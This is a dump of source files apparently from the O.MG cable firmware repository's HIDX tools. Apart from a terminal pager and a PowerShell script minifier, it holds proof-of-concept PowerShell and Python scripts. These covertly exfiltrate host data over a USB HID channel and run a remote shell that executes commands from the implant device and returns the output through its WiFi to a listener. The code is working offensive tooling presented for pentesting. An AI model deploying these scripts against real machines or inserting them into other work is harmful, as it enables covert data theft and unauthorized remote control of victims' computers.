_posix_get_window_size()[0] else: # 'mac', 'os2', 'ce', 'java', 'riscos' need implementations pass return width or 80 def getheight(): height = None if WINDOWS: return _windows_get_window_size()[1] elif os.name == 'posix': return _posix_get_window_size()[1] else: # 'mac', 'os2', 'ce', 'java', 'riscos' need implementations pass return height or 25 if WINDOWS: ENTER_ = '\x0d' CTRL_C_ = '\x03' else: ENTER_ = '\n' # [ ] check CTRL_C_ on Linux CTRL_C_ = None ESC_ = '\x1b' # other constants with getchars() if WINDOWS: LEFT = ['\xe0', 'K'] UP = ['\xe0', 'H'] RIGHT = ['\xe0', 'M'] DOWN = ['\xe0', 'P'] else: LEFT = ['\x1b', '[', 'D'] UP = ['\x1b', '[', 'A'] RIGHT = ['\x1b', '[', 'C'] DOWN = ['\x1b', '[', 'B'] ENTER = [ENTER_] ESC = [ESC_] def dumpkey(key): def hex3fy(key): """Helper to convert string into hex string (Python 3 compatible)""" from binascii import hexlify # Python 3 strings are no longer binary, encode them for hexlify() if PY3K: key = key.encode('utf-8') keyhex = hexlify(key).upper() if PY3K: keyhex = keyhex.decode('utf-8') return keyhex if type(key) == str: return hex3fy(key) else: return ' '.join( [hex3fy(s) for s in key] ) if WINDOWS: if PY3K: from msvcrt import kbhit, getwch as __getchw else: from msvcrt import kbhit, getch as __getchw def _getch_windows(_getall=False): chars = [__getchw()] # wait for the keypress if _getall: # read everything, return list while kbhit(): chars.append(__getchw()) return chars else: return chars[0] # [ ] _getch_linux() or _getch_posix()? (test on FreeBSD and MacOS) def _getch_unix(_getall=False): import sys, termios fd = sys.stdin.fileno() # save old terminal settings old_settings = termios.tcgetattr(fd) chars = [] try: newattr = list(old_settings) newattr[3] &= ~termios.ICANON newattr[3] &= ~termios.ECHO newattr[6][termios.VMIN] = 1 # block until one char received newattr[6][termios.VTIME] = 0 # TCSANOW below means apply settings immediately termios.tcsetattr(fd, termios.TCSANOW, newattr) # [ ] this fails when stdin is redirected, like # ls -la | pager.py # [ ] also check on Windows ch = sys.stdin.read(1) chars = [ch] if _getall: newattr = termios.tcgetattr(fd) newattr[6][termios.VMIN] = 0 # CC structure newattr[6][termios.VTIME] = 0 termios.tcsetattr(fd, termios.TCSANOW, newattr) while True: ch = sys.stdin.read(1) if ch != '': chars.append(ch) else: break finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) if _getall: return chars else: return chars[0] # choose correct getch function at module import time if WINDOWS: getch = _getch_windows else: getch = _getch_unix getch.__doc__ = \ """ Wait for keypress, return first char generated as a result. Arrows and special keys generate sequence of chars. Use `getchars` function to receive all chars generated or present in buffer. """ # check that Ctrl-C and Ctrl-Break break this function # # Ctrl-C [n] Windows [y] Linux [ ] OSX # Ctrl-Break [y] Windows [n] Linux [ ] OSX # [ ] check if getchars returns chars already present in buffer # before the call to this function def getchars(): return getch(_getall=True) def echo(msg): #https://groups.google.com/forum/#!topic/python-ideas/8vLtBO4rzBU sys.stdout.write(msg) sys.stdout.flush() def prompt(pagenum): prompt = "Page -%s-. Press any key to continue . . . " % pagenum echo(prompt) if getch() in [ESC_, CTRL_C_, 'q', 'Q']: return False echo('\r' + ' '*(len(prompt)-1) + '\r') def page(content, pagecallback=prompt): width = getwidth() height = getheight() pagenum = 1 try: try: line = content.next().rstrip("\r\n") except AttributeError: # Python 3 compatibility line = content.__next__().rstrip("\r\n") except StopIteration: pagecallback(pagenum) return while True: # page cycle linesleft = height-1 # leave the last line for the prompt callback while linesleft: linelist = [line[i:i+width] for i in range(0, len(line), width)] if not linelist: linelist = [''] lines2print = min(len(linelist), linesleft) for i in range(lines2print): if WINDOWS and len(line) == width: # avoid extra blank line by skipping linefeed print echo(linelist[i]) else: print(linelist[i]) linesleft -= lines2print linelist = linelist[lines2print:] if linelist: # prepare symbols left on the line for the next iteration line = ''.join(linelist) continue else: try: try: line = content.next().rstrip("\r\n") except AttributeError: # Python 3 compatibility line = content.__next__().rstrip("\r\n") except StopIteration: pagecallback(pagenum) return if pagecallback(pagenum) == False: return pagenum += 1 ================================================ FILE: tools/HIDX/powershell/minify.ps1 ================================================ function Minify-Script { param( [Parameter(Mandatory=$true)] [string]$InputFilePath, [Parameter(Mandatory=$true)] [string]$OutputFilePath, [switch]$AsBase64 ) $content = Get-Content $InputFilePath -Raw # Remove multi-line comments $content = [regex]::Replace($content, '<#.*?#>', '', [System.Text.RegularExpressions.RegexOptions]::Singleline) # Remove single-line comments $content = [regex]::Replace($content, '#.*', '') # Remove unnecessary whitespaces $content = [regex]::Replace($content, '\s+', ' ') if ($AsBase64) { $contentBytes = [System.Text.Encoding]::UTF8.GetBytes($content) $contentBase64 = [System.Convert]::ToBase64String($contentBytes) Set-Content -Path $OutputFilePath -Value $contentBase64 } else { Set-Content -Path $OutputFilePath -Value $content } } # Example usage: Minify-Script -InputFilePath "HIDXExfil.ps1" -OutputFilePath "HIDXExfil-minified.ps1" -AsBase64 ================================================ FILE: tools/HIDX/powershell/win-hidexfil.ps1 ================================================ <# HIDXExfil.ps1 Author: Ø1 (@01p8or13) Acknowledgements: spiceywasabi, rogandawes Required Dependencies: Activated HIDX on OMG Elite device #> function HIDXExfil { <# .DESCRIPTION This is a POC. A “low and slow” method of covert exfiltration meant to provide alternate pentesting pathways beyond using the target host’s network interfaces or mass storage. This POC will allow data exfiltration back to the O.MG’s flash storage or act as a proxy between the target host and another device, via the O.MG Device's built-in WiFi interface, which can allow you to receive data via listeners like nc, netcat, or similar tools. .PARAMETER Message Message which gets exfiltrated. .PARAMETER VendorID Defining vendor ID of the device. (Default: D3C0) .PARAMETER ProductID Defining product ID of the device. (Default: D34D) .EXAMPLE Defining a message: HIDXExfil -Message "hello world" .EXAMPLE HIDX usage with every parameter: HIDXExfil -VendorID D3C0 -ProductID D34D -Message "test" .EXAMPLE Piping output into HIDX: whoami | HIDXExfil .EXAMPLE Exfiltrating systeminfo with proper formatting: systeminfo | Out-String | HIDXExfil .LINK https://github.com/0i41E https://github.com/spiceywasabi https://github.com/rogandawes #Credits to Rogan for the idea of filehandle and device identification #AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* #> [cmdletbinding()] param( [Parameter( Mandatory = $true, ValueFromPipeline = $true)] $Message, [Parameter(Position = 1)] [ValidateNotNullOrEmpty()] [String] $VendorID = "D3C0", #Default value [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] [String] $ProductID = "D34D" # Default value ) $omg = $VendorID + "&PID_" + $ProductID function Get-OMGDevice(){ #Identify OMG device $devs = gwmi Win32_USBControllerDevice $devicestring=$null foreach ($dev in $devs) { $wmidev = [wmi]$dev.Dependent if ($wmidev.GetPropertyValue('DeviceID') -match ($omg) -and ($null -eq $wmidev.GetPropertyValue('Service'))) { $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}') } } return $devicestring } function Send-Message { param( $fileHandle, $payload ) $payloadLength = $payload.Length $chunkSize = 8 # Kept at 8 for best experience $chunkNr = [Math]::Ceiling($payloadLength / $chunkSize) for ($i = 0; $i -lt $chunkNr; $i++) { $bytes = New-Object Byte[] (65) $start = $i * $chunksize $end = [Math]::Min(($i + 1) * $chunksize, $payloadLength) $chunkLen = $end - $start [System.Buffer]::BlockCopy($payload, $start, $bytes, 1, $chunkLen) $filehandle.Write($bytes, 0, 65) } } #Creating filehandle - Method by rogandawes Add-Type -TypeDefinition @" using System; using System.IO; using Microsoft.Win32.SafeHandles; using System.Runtime.InteropServices; namespace omg { public class hidx { [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf); public static FileStream open(string fn) { return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true); } } } "@ try { $deviceString = Get-OMGDevice if ($deviceString -eq $null) { Write-Host -ForegroundColor Red "[!]Error: Could not find OMG device - Check VID/PID" return } $fileHandle = [omg.hidx]::open($deviceString) if ($fileHandle -eq $null) { Write-Host -ForegroundColor Red "[!]Error: Filehandle is empty" return } $payload = [System.Text.Encoding]::ASCII.GetBytes($Message + "`n") Send-Message -fileHandle $fileHandle -payload $payload } catch { Write-Host -ForegroundColor Red "[!]Error: $($PSItem.Exception.Message)" } finally { if ($fileHandle -ne $null) { $fileHandle.Close() } } } ================================================ FILE: tools/HIDX/powershell/win-hidshell.ps1 ================================================ <# win-hidshell.ps1 Authors: Ø1(@01p8or13), Wasabi (@spiceywasabi) Acknowledgements: rogandawes (@RoganDawes) Required Dependencies: Activated HIDX on OMG Elite device Recommended Listener: stealthlink-client-universal.py #> function HIDXShell { <# .DESCRIPTION This powershell script acts as a PoC for a bidirectional, shell-like connection between a host and an O.MG Elite device, which acts as a bridge between Listener and USB-Host. .PARAMETER VendorID Defining vendor ID of the device. (Default: D3C0) .PARAMETER ProductID Defining product ID of the device. (Default: D34D) .PARAMETER Verbose Display more information about received and executed commands .EXAMPLE HIDXShell usage with defined device: HIDXShell -VendorID D3C0 -ProductID D34D .LINK https://github.com/0i41E https://github.com/spiceywasabi https://github.com/rogandawes https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-client-universal.py https://github.com/O-MG/O.MG-Firmware/wiki/HIDX-StealthLink---Windows-PowerShell---Shell #Credits to Rogan for idea of filehandle and device identification #AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* #> [cmdletbinding()] param( [Parameter(Position = 1)] [ValidateNotNullOrEmpty()] [String] $VendorID = "D3C0", #Default value [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] [String] $ProductID = "D34D" # Default value ) #Defining OMG device $OMG = $VendorID +"&PID_" + $ProductID $tries = 0 $ErrorActionPreference="Stop" #Creating filehandle - Method by rogandawes function CreateBinding(){ try { Add-Type -TypeDefinition @" using System; using System.IO; using Microsoft.Win32.SafeHandles; using System.Runtime.InteropServices; namespace omg { public class hidx { [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf); public static FileStream open(string fn) { return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true); } } } "@ Write-Host -ForegroundColor Yellow "[?]Adding Binding..." } catch { Write-Host -ForegroundColor red "[!]Error:Cannot load Binding..." } } #Identify OMG device function Get-OMGDevice(){ $devs = gwmi Win32_USBControllerDevice write-host -ForegroundColor Yellow "[?]Searching for O.MG Device..." $devicestring=$null foreach ($dev in $devs) { $wmidev = [wmi]$dev.Dependent if ($wmidev.GetPropertyValue('DeviceID') -match ($OMG) -and ($null -eq $wmidev.GetPropertyValue('Service'))) { $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}') #GUID_DEVINTERFACE_HID } } return $devicestring } #Split and Write message to filehandle Function Send-Message(){ #Convert output to bytes $outputBytes = [System.Text.Encoding]::ASCII.GetBytes($output + "> ") #Sending fake prompt to mimic a proper shell $outputLength = $outputBytes.Length #Send output bytes to omg $outputChunkSize = 8 # Kept at 8 for best experience $outputChunkNr = [Math]::Ceiling($outputLength / $outputChunkSize) #Verbosity message if ($VerbosePreference -eq 'Continue') { Write-Host -ForegroundColor green "[+]Output of $($outputLength) bytes ready to send in $($outputChunkNr) packets." } $messageSendTime = Get-Date for ($i = 0; $i -lt $outputChunkNr; $i++) { $outputBytesToSend = New-Object Byte[] (65) $outputStart = $i * $outputChunkSize $outputEnd = [Math]::Min(($i + 1) * $outputChunkSize, $outputLength) $outputChunkLen = $outputEnd - $outputStart [System.Buffer]::BlockCopy($outputBytes, $outputStart, $outputBytesToSend, 1, $outputChunkLen) # Copy the chunk to the packet if ($VerbosePreference -eq 'Continue') { $currentTime = Get-Date $timeDifference = $currentTime - $messageSendTime Write-Host -ForegroundColor yellow "[?]Message ready to send after $($timeDifference)..." $messageSendTime=$currentTime $outputBytesToSend | Format-Hex } $filehandle.Write($outputBytesToSend, 0, 65) } } CreateBinding #Find O.MG device $devicestring = Get-OMGDevice #Verify device - error checking if($null -eq $devicestring){ $loop=$false Write-Host -ForegroundColor red "[!]Error: No O.MG Device not found! Check VID/PID" $loop=$false break } #Verify device - open device Write-Host -ForegroundColor Green "[+]Identified O.MG Device: ${devicestring}" $filehandle = [omg.hidx]::open($devicestring) #Verify filehandle if($null -eq $filehandle){ $loop=$false Write-Host -ForegroundColor red "[!]Error: Filehandle is empty" break } #Message on initial connection $output = "[+]Stealth Link Session Established!`n" #Sending message on initial connection Write-Host -ForegroundColor Cyan "[*]Sending Connection Prompt to ${devicestring}" Send-Message #Starting loop for birectional connection $loop=$true while ($loop) { try { #Find O.MG device $devicestring = Get-OMGDevice #Verify device - error checking if($null -eq $devicestring){ $loop=$false Write-Host -ForegroundColor red "[!]Error: No O.MG Device not found! Check VID/PID" $loop=$false break } #Verify device - open device Write-Host -ForegroundColor Green "[+]Connected O.MG Device: ${devicestring}" $filehandle = [omg.hidx]::open($devicestring) #Verify filehandle if($null -eq $filehandle){ $loop=$false Write-Host -ForegroundColor red "[!]Error: Filehandle is empty" break } $in = "" Do { Write-Host -ForegroundColor Green "[+]Ready to receive commands..." echo $filehandle.Length echo $filehandle.BytesToRead $byte = [byte[]]::new(10) #Read bytes from omg $bytes = New-Object Byte[] (65) $filehandle.Read($bytes, 0, 65) | Out-Null #Split and display received command foreach ($byte in $bytes) { $input_raw = [System.Convert]::ToChar($byte) if (($input_raw -ge 32 -and $input_raw -le 126) -or $input_raw -eq 10) { $in = "${in}${input_raw}" #If using verbose, display split commands if ($VerbosePreference -eq 'Continue') { Write-Host "Command Parts: ${byte} / $in" } } } } While (!$in.Contains("`n")) #Execute on new-line Try { if ($VerbosePreference -eq 'Continue') { Write-Host -ForegroundColor Green "[+]Executed command: $in" $in | Format-Hex } $output = Invoke-Expression $in|Out-String #If output is empty return fake prompt if ($output -eq '') { if ($VerbosePreference -eq 'Continue') { $output = "[+]Command successful!`n" #If verbose is set, return additional message } else { $output = "`n" } } } Catch { $output = Echo "[!]Error: The command was not recognized as the name of a cmdlet, a function, a script file or an executable program."|Out-String #Error message send to receiver Write-Host -ForegroundColor red "[!]Error: Unable to run: $in" #Error message in console } #Sending Message to OMG Device Send-Message $filehandle.Close() } catch { if ($VerbosePreference -eq 'Continue') { Write-Host -ForegroundColor red "[!]Error occurred, ${tries} remain" } echo $Error if($tries -le 0){ Write-Host -ForegroundColor red "[!]Fatal error, tries exhausted must stop" $loop=$false $filehandle.Close() break } else { $tries = $tries - 1 } } } } ================================================ FILE: tools/HIDX/python/hidxshell.py ================================================ # NOTE: This is a POC only # This has certain limitations on size of packets and writes # You may need root access to use this. # mischief gadgets, wasabi 2023 # This is a POC # X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* ##### ##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system) ##### import os import sys import string import select import pkgutil import usb.core as uc import usb.util as uu import importlib import argparse from datetime import datetime # CHANGE THESE TO YOUR CABLES VID AND PID from pprint import pprint class HIDX(): def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8): # device information and endpoints self.vid = None self.pid = None self.int = None self.dev = None self.dev_backend = None self.reattach = False self.cfg = None self.debug = debug # set sizes self.read_buff_size = rbuff self.write_buff_size = sbuff # code handlers for errors and messages self.send_buff = [] self.recv_buff = [] self.read_errors = 0 self.write_errors = 0 # start things if we need... if vid and pid: setup = self.setup_dev(vid=vid,pid=pid) self.vid = vid self.pid = pid if self.debug: self.find_devs() if not setup: print("Failed to initalize.") sys.exit(1) else: print("No VID or PID Provided") self.find_devs() def display_dev(self,vid=None,pid=None): if not vid and not pid: hvid = hex(self.vid) hpid = hex(self.pid) else: hvid = hex(vid) hpid = hex(pid) return f"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]" def do_cmd(self,cmd): debug_send = False if debug_send: print(f"CMD = {cmd}") dt = datetime.now().strftime("%M:%S.%f") user_input = f"HST {dt}\n" return user_input else: c = os.popen(cmd) r = c.read() return r def find_devs(self): dev = None try: dev = uc.find(find_all=True) self.dev_backend = "pyusb" except uc.NoBackendError: if pkgutil.find_loader('libusb_package'): libusb_package = importlib.import_module('libusb_package') self.dev_backend = "libusb_package" dev = libusb_package.find(find_all=True) else: print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ") return False if dev: print("Detecting Available USB Devices:") for cfg in dev: print('\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\n') print("\n") else: print("Unable to enumerate available USB Devices. Likely permissions issues!") def setup_dev(self,vid,pid): dev = None dev_id = self.display_dev(vid,pid) if self.debug: print(f"Attempting to find Device: {dev_id}") try: dev = uc.find(idVendor=vid, idProduct=pid) pprint(dev) self.dev_backend = "pyusb" if self.debug: print("Using pyusb+libusb") except uc.NoBackendError: if pkgutil.find_loader('libusb_package'): libusb_package = importlib.import_module('libusb_package') self.dev_backend = "libusb_package" dev = libusb_package.find(idVendor=vid, idProduct=pid) if self.debug: print("Using pyusb+lisbusb_package") else: print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ") return False if not dev: print(f"Could not find device: {dev_id}") return False self.reattach = False try: if hasattr(dev,"is_kernel_driver_active") and dev.is_kernel_driver_active(2): self.reattach = True dev.detach_kernel_driver(2) except NotImplementedError: pass self.cfg = dev.get_active_configuration() self.int = self.cfg.interfaces()[2] self.dev = dev print(f"Found and Connecting to Device: {dev_id}") return True def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8): if left_pad and right_pad: raise Exception("Cannot add padding on both the left and right side!") # default to right pad if not left_pad and not right_pad: right_pad = True padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size padded_str = None if isinstance(input_str, bytes): input_str = self.decode_msg(input_str) if right_pad: padded_str = input_str + ' ' * padding_length if left_pad: padded_str = ' ' * padding_length + input_str return padded_str def split_output(self,message,chunk_size=8): chunks = [] for i in range(0,len(message),chunk_size): raw_message = message[i:i+chunk_size] padded_message = self.pad_input(raw_message,right_pad=True) chunks.append(padded_message) return chunks def write(self,msg=None, buffer_limit=8): endpoint = self.int.endpoints()[1] error = False start_buffer_size = len(self.send_buff) write_bytes = 0 if msg: self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit) if self.debug: print(f"Msg:{msg} = {self.send_buff}") if len(self.send_buff)>0: try: part = b"" if len(self.send_buff)>0: part = self.send_buff.pop(0) endpoint.write(part) write_bytes = len(part) end_buffer_size = len(self.send_buff) if self.debug: print(f"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}") except Exception as e: print(f"Error in write, {e}") error = True return error, write_bytes def _read(self, buffer_limit=8,report_size=8,timeout=200): endpoint = self.int.endpoints()[0] res = None error = False raw_message = b"" recv_packets = 0 recv_bytes = 0 try: remainder = buffer_limit+report_size*2 while (remainder > report_size): if self.debug: print("In _read loop...") remainder -= report_size rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b"\x00") procdata = b"" for _r in rawdata: if 32 <= _r <= 126 or _r in [10]: procdata+=chr(_r).encode() raw_message+=procdata recv_packets += 1 recv_bytes += len(rawdata) except uc.USBTimeoutError: pass except uc.USBError: print("Lost device, must attempt to reconnect.") #self.reattach=True #self.setup_dev(self.vid,self.pid) error = True pass # for now so we just time out eventually # do a decode if recv_packets>0: data_str = "" for c in raw_message: data_str += chr(c) res = data_str else: pass return error, recv_packets, recv_bytes, res def read(self, retries=1): raw_message = b"" empty_message = 0 error = False recv_bytes=0 recv_packet=0 while retries>0: if self.debug: print("In read loop...") try: error, recv_packet, recv_byte, raw_data = self._read( buffer_limit=(self.read_buff_size*4), report_size=self.read_buff_size ) recv_bytes+=recv_byte recv_packet+=recv_packet if error: print("! Error detected in read()") return raw_message if recv_byte == 0: retries-=1 else: print("Test Byte") raw_message+=bytes(raw_data,'utf-8') break except: error=True retries-=1 if self.debug: print("debug: listening for data") return error, recv_packet, recv_bytes, raw_message def setWriteBuffSize(self,size): self.write_buff_size = size return size def setReadBuffSize(self,size): self.read_buff_size = size return size def decode_msg(self,data): content = None try: content = data.decode('utf-8') except UnicodeDecodeError: content = data.decode('latin-1') return content def start(self,max_errors=5): iter = 1 clear_errcnt = 0 while self.write_errors < max_errors and self.read_errors < max_errors: result = None read_error, recv_packet, recv_bytes, raw_message = self.read() if self.debug: print("In main loop...") if read_error: self.read_errors+=1 else: if recv_bytes > 0 and len(raw_message)>1: commands = raw_message.decode("utf-8").rstrip().replace("\\n","\n").split("\n") for command in commands: if self.debug: print("In command loop...") result = None cleaned_command = command.rstrip().replace("\n","").replace("\r","").rstrip().strip() if self.debug: print(f"RECV: '{cleaned_command}'\n") try: result = self.do_cmd(cleaned_command) except Exception as e: print(f"error! {e}") if result and self.debug: print("Got new data!") if result: result = result + "\x07\x17\x00\x00" write_error,send_bytes = self.write(result,self.write_buff_size) if write_error: self.write_errors+=1 result=None write_error,send_bytes = self.write(result,self.write_buff_size) if write_error: self.write_errors+=1 iter += 1 if (clear_errcnt > 24): self.read_errors = 0 self.write_errors = 0 def send(self,message,max_errors=5): iter = 1 clear_errcnt = 0 write_error,send_bytes = self.write(message,self.write_buff_size) self.write_errors =+ 1 if self.debug: print("Sending message: %d" % len(message)) while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors): result = message write_error,send_bytes = self.write(None,self.write_buff_size) if write_error: self.write_errors+=1 iter += 1 if (clear_errcnt > 24): self.read_errors = 0 self.write_errors = 0 if self.write_errors>2: print(f"Send incomplete. Total errored packets: {self.write_errors}") else: print("Send Complete") if __name__ == "__main__": def clean_id(inmsg): hexstr = "0x"+str(inmsg).lower().replace("0x","") return int(hexstr,16) def read_stdin(): content = None # to work around certain windows errors that may pop up try: if not sys.stdin.isatty(): data = sys.stdin.buffer.read().strip() if data: try: # Try decoding using 'utf-8' content = data.decode('utf-8') except UnicodeDecodeError: # If 'utf-8' decoding fails, try 'latin-1' content = data.decode('latin-1') except: pass return content parser = argparse.ArgumentParser(description="HIDUniversal Tool") parser.add_argument("--vid", type=str, default="0xd3c0", help="Specify vid parameter") parser.add_argument("--pid", type=str, default="0xd34d", help="Specify pid parameter") parser.add_argument("--debug", action="store_true", help="Enable debug mode") parser.add_argument("--readbuff", type=int, help="Specify read buffer size",default=8) parser.add_argument("--sendbuff", type=int, help="Specify send buffer size",default=8) args = parser.parse_args() debug = False if args.debug: debug=True print("Starting Up...") hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff)) stdin_data = read_stdin() if stdin_data: if debug: print("In STDIN Mode") hdx.send(stdin_data) else: if debug: print("In Interactive Shell Mode") hdx.start() ================================================ FILE: tools/HIDX/python/linux-nativeshell.py ================================================ # NOTE: This is a POC only # This has certain limitations on size of packets and writes # You may need root access to use this. # This is a POC # X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* import os,sys,time from textwrap import wrap # set these hidx_device = None transmission_delay = 1 # in seconds, 0 disables max_message_size = 48 # bytes # don't do things past here def do_cmd(cmd): c = os.popen(cmd) r = c.read() return r # trick found by 01phor1e def get_linux_dev(): cmd = "dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}'" try: r = str(do_cmd(cmd)).strip() return r except: return None # trick found by 01phor1e def debug_linux_dev(): cmd = "dmesg|grep hidraw|grep hiddev|grep input2" try: r = str(do_cmd(cmd)).strip() return r except: return "No DMESG output identified" def debug_linux(fd): print("===== Debug: DMESG =====") debug_linux_dev() print("Found Device at Location: %s"%get_linux_dev()) print("===== Debug: FD INFO =====") if fd is None: print("FD Error, no FD") else: print(os.stat(fd)) print(os.fstat(fd)) print(os.lstat(fd)) print("===== End Debug =====") def chunk_cmd(result): def chunk(o): r = str(result) s = sys.getsizeof(o) if s>max_message_size: queued_cmds.extend(wrap(r,max_message_size-1)) else: queued_cmds.append(r) if isinstance(result, list) or isinstance(result, tuple): for line in result: chunk(line) else: chunk(result) raw_dev = get_linux_dev() if raw_dev is not None: hidx_device = "/dev/"+raw_dev else: if len(sys.argv) < 2: print("error provide hid device") sys.exit(1) else: hidx_device = sys.argv[1] queued_cmds = [] hs = os.open(hidx_device, os.O_RDWR) run = True cmd = "" tries = 16 while tries>1: print("Ready") try: print("In Listener") while run: print("Running...") try: debug_linux(hs) except: print("HID FD is unreadable") debug_linux(hidx_device) if hs is None: print("Opening Socket...") hs = os.open(hidx_device, os.O_RDWR) else: print("Reusing Socket...") r = os.read(hs,int(max_message_size)) if "\n" in cmd: # have a command print("Attempting to run cmd: '%s'"%cmd) print("Result from cmd is %d"%len(queued_cmds)) chunk_cmd(do_cmd(cmd)) cmd = "" if len(queued_cmds)>0: for queued_cmd in queued_cmds: queued_cmd = queued_cmd+"\n" os.write(hs,bytearray(queued_cmd.encode("utf-8"))) if transmission_delay>0: time.sleep(transmission_delay) queued_cmds = [] else: cmd += r.decode("utf-8") except OSError as e: print("Error with socket, you have %d tries remaining"%tries) time.sleep(5) try: if hs is not None: os.close(hs) try: debug_linux(hs) except: print("HID FD is unreadable") debug_linux(hidx_device) except: print("Socket already closed") print(e) tries-=1 ================================================ FILE: tools/HIDX/python/stealthlink-client-universal.py ================================================ #Name: Stealth-client-universal.py #Author: Wasabi (@spiceywasabi) #Acknowledgments: Ø1(@01p8or13) #Required Dependencies: Python3, Network connectivity to O.MG device #Description: """ This Python-script acts as a listener for HIDX Stealthlink, mainly the PoCs provided under: - https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/powershell/win-hidshell.ps1 - https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-host-universal.py Configuration in lines 49 - 52 """ # current issues: """ - %quit not closing as intended. CTRL +C required - input prompt may return before content is finished so you will see things like $whoami $root if you want to fix this easily, just hit another enter as soon as you send a message - the universal client + universal python target code are slower than native or powershell - ascii characters are primarily *only* supported, other characters may be stripped - recvlog doesn't buffer data for efficiency purposes, error checking should (and will) be added later this will also fix #1 - this client is currently mac or linux only due to select() """ import os import sys import socket import select import logging import binascii import argparse import threading from datetime import datetime from time import sleep from pprint import pprint # X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* ## These can be set but aren't meant to be changed regularly. remote_prompt = True # Assume that prompt gets received from host - Set to true for Powershell usage nowait = True # wait or not wait for end of message control characters delay = None # delay between messages (0.2-0.5 is fine) default to None windows = False # enable larger buffer, ONLY meant for testing! def non_blocking_input(prompt="", timeout=5): print(prompt, end='', flush=True) rlist, _, _ = select.select([sys.stdin], [], [], timeout) if rlist: return sys.stdin.readline().strip() else: return None def pad_input(input_str, left_pad=False, right_pad=False, chunk_size = 8): if left_pad and right_pad: raise Exception("[!]Cannot add padding on both the left and right side!") # default to right pad if not left_pad and not right_pad: right_pad = True padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size padded_str = None if isinstance(input_str, bytes): input_str = input_str.decode("utf-8") if right_pad: padded_str = input_str + ' ' * padding_length if left_pad: padded_str = ' ' * padding_length + input_str return padded_str def split_output(message,chunk_size=8): chunks = [] for i in range(0,len(message),chunk_size): raw_message = message[i:i+chunk_size] padded_message = pad_input(raw_message,right_pad=True) chunks.append(padded_message) return chunks def recvlog(msg): print(f"{msg}",end="") logger_received.info(msg) def handle_client(client_socket,run,rts): global nowait no_data_count = 0 while run.is_set(): data = None try: data = client_socket.recv(1024).decode() except OSError as e: run.clear() print(f"[!]Socket Exception: {e}") break # double check the data if not data: recvlog("[!]Socket has disconnected....") client_socket.shutdown(socket.SHUT_RDWR) client_socket.close() run.clear() break else: if "\x07\x17" in data or nowait: rts.set() elif "SH" in data: data = data.strip("\n") rts.set() elif data == "" and no_data_count>=2: rts.set() #print("Status: %s"%str(rts.is_set())) recvlog(f"{data}") def console_input(client_socket,run,rts, server_socket = None): global nowait, windows, delay, remote_prompt print("\nHIDX StealthLink Universal Client (type '%quit' to exit)") debug_send = False split_messages = True while run.is_set(): if rts.is_set(): prompt_msg = "\r$" user_input = "" if debug_send: dt = datetime.now().strftime("%M:%S.%f") user_input = f"CLI {dt}" else: if remote_prompt: prompt_msg = "" print(prompt_msg, end='', flush=True) user_input = input() if not user_input: continue if user_input == "%exit" or "%quit" in user_input: if server_socket: server_socket.settimeout(1) #client_socket.shutdown() client_socket.close() run.clear() break try: raw_input = user_input + "\n\x07\x17\00" if windows: raw_input =pad_input(raw_input,right_pad=True,chunk_size=64) if logger_sent: logger_sent.info(raw_input) output = None if split_messages: output = split_output(raw_input) for m in output: client_socket.sendall(m.encode()) if delay: sleep(float(delay)) else: output = padded_input.encode() client_socket.sendall(output) if not nowait: rts.clear() except OSError as e: 